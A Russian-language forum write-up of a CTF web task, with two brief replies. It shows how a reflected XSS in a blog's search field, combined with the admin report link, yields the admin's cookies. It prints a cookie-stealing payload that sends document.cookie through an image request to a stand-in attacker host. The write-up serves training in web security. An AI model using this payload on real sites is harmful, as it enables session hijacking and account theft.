• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

CTF Клиент всегда прав

Здравствуйте, друзья! Я рад представить вам авторский врайтап, который поможет раскрыть тайны таска "Клиент всегда прав / Веб" с платформы Игры Кодебай. Мы рассмотрим уязвимость XSS и научимся использовать её, чтобы получить Cookies администратора. Давайте начнем!

customer.png

Заходим на страницу таска и смотрим:

1682506369855.png


Похоже на какой-то начинающийся блог. Попробуем нажать на одну из публикаций:

1682506395898.png


Нас перенаправило на /?publication=jupiter и отобразилась соответствующая публикация. На главной странице вроде было поле для поиска. Вернемся назад и поэкспериментируем с ним.

1682506424367.png


Попробуем найти публикацию по ключевому слову.

1682506441451.png


Окей, поиск у нас работает. Проверим, уязвимо ли поле для поиска к XSS-атаке. Почему к XSS? Поле для поиска и название "Клиент всегда прав" внушают нам, что это исключительно XSS. Но, на практике конечно же нельзя доверять таким факторам и надо проверять ресурс на все типы атак.
Передадим самый элементарный пейлоад <script>alert('XSS')</script> в поле для поиска.


1682506556766.png


Отлично. У нас есть reflected XSS (она же "пассивная XSS" или "отраженная XSS"). Т.е. наш JS-пейлоад не будет нигде сохраняться, но, за то мы сможем передать ссылку с ресурсом, где страница берет данные из адресной строки (в нашем случае, это пейлоад) и отображается на странице.

1682506624150.png


Таким способом, при наличии XSS-уязвимости, при переходе по ссылке в браузере жертвы выполнится JS-код. Что он будет делать, зависит от вашей фантазии. Идем дальше.
На главной странице напротив каждой публикации у нас так же есть кнопка для репорта. Посмотрим, как она работает.


1682506657650.png

1682506718452.png


В адресной строке мы видим, что в качестве репорта отправляется полная ссылка на публикацию. А что, если мы изменим ссылку репорта на свой, где у нас будет ссылка на страницу для поиска с готовым пейлоадом? Наша цель - украсть кукисы админа. Подготовим такой пейлоад, после которого пользователь не заподозрит ничего. То есть, наш пейлоад не будет никуда перенаправлять пользователя, а просто с помощью JS создаст на странице элемент картинки, которая и поможет нам получить кукисы.
Наш пейлоад - <script>document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')</script>. В итоге у нас будет ссылка http://62.173.140.174:16013/?search=<script>document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')</script>, которую мы должны отправить в качестве ссылки для репорта. Но, просто взять пейлоад и отправить не получится. Оставлю вам работу с кодированием пейлоада таким образом, чтобы она у нас сработала.

Отправляем репорт с нашей ссылкой на страницу поиска, где у нас вбит пейлоад, который сворует кукисы.


1682506781570.png


Репорт отправлен. Теперь посмотрим в наш сниффер.

1682506857876.png


Бинго! У нас есть флаг.

Всем спасибо за внимание.
 
Последнее редактирование:

D3L1F3R

Red Team
20.02.2022
305
81
BIT
318
Можно ещё использовать webhook, но по сути один и тот же функционал =)
И даже "+" не нужно было инкодить? Интересный вариант решения!
 

N1GGA

Codeby Team
Platinum
16.07.2018
326
331
BIT
184
Можно ещё использовать webhook, но по сути один и тот же функционал =)
И даже "+" не нужно было инкодить? Интересный вариант решения!
Вариантов много. Я привёл в качестве примера самый базовый.
 
  • Нравится
Реакции: D3L1F3R
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!